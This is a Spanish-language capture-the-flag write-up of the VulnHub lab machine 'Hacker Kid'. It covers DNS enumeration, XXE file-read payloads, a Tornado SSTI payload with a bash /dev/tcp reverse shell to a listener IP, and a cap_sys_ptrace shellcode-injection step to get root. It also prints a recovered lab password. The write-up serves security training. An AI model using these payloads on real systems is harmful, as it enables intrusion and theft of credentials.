cd ~/blog

~/writeups/vulnhub/20-hacker-kid.md

20 - Hacker Kid

medium Linux vulnhub 21-10-2023
DNS enumeration (dig)XXE Injection (file read)Tornado SSTI (RCE)cap_sys_ptrace capability Privesc
www.vulnhub.com/entry/hacker-kid-101,719/

~1 min de lectura


Enumeramos puertos: 53 (BIND), 80 (Apache) y 9999 (Tornado, login):

 nmap -sC -sV -p53,80,9999 -oN 02-targeted 192.168.1.33

El sitio insiste en la palabra "DIG" (DIG me more...) y el código fuente da una pista: TO DO: Use a GET parameter page_no to view pages. Enumeramos con gobuster (form.html, app.html, etc.) y luego fuzzeamos page_no con Burp Intruder; analizando el tamaño de las respuestas, una destaca por ser mayor y revela un subdominio:

 gobuster dir -u http://192.168.1.33 -w .../directory-list-2.3-medium.txt -x php,txt,html
/form.html   /app.html   /images   /css   /javascript

http://192.168.1.33/?page_no=N    # una página revela: hackers.blackhat.local

Usando dig sobre el DNS (puerto 53) descubrimos la zona y más nombres (enumeración DNS):

 dig hackers.blackhat.local @192.168.1.33
...
blackhat.local.  3600  IN  SOA  blackhat.local. hackerkid.blackhat.local. ...

Añadimos blackhat.local y hackerkid.blackhat.local al /etc/hosts. El formulario de registro de hackerkid.blackhat.local envía XML al servidor → vulnerable a XXE Injection:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root><name>asdf</name><tel>asdf</tel><email>&xxe;</email><password>asdf</password></root>

Con un wrapper PHP leemos el .bashrc del usuario saket y obtenemos credenciales de la app Python (Tornado):

<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/home/saket/.bashrc">
username="admin"
password="Saket!#$%@!!"

Entramos al servicio del puerto 9999 (usuario saket, no admin). El parámetro name es vulnerable a SSTI (Tornado):

http://192.168.1.33:9999/?name={{7*7}}     # → Hello 49
http://192.168.1.33:9999/?name={% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.1.10/1234 0>&1"')}}

Ya con shell, listamos capabilities (Linux Capabilities Privesc):

 /sbin/getcap -r / 2>/dev/null
...
/usr/bin/python2.7 = cap_sys_ptrace+ep
...

python2.7 tiene cap_sys_ptrace: con el exploit de HackTricks inyectamos shellcode en el proceso de Apache (root), que abre el puerto 5600:

 ps -faux | grep apache    # pid 742 (root)
 python2.7 exploit.py 742
Shellcode Injected!!

 sudo nc 192.168.1.33 5600 -vvv
whoami
root

(En /root hay un ZIP con una APK que finalmente da la contraseña de root.)

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados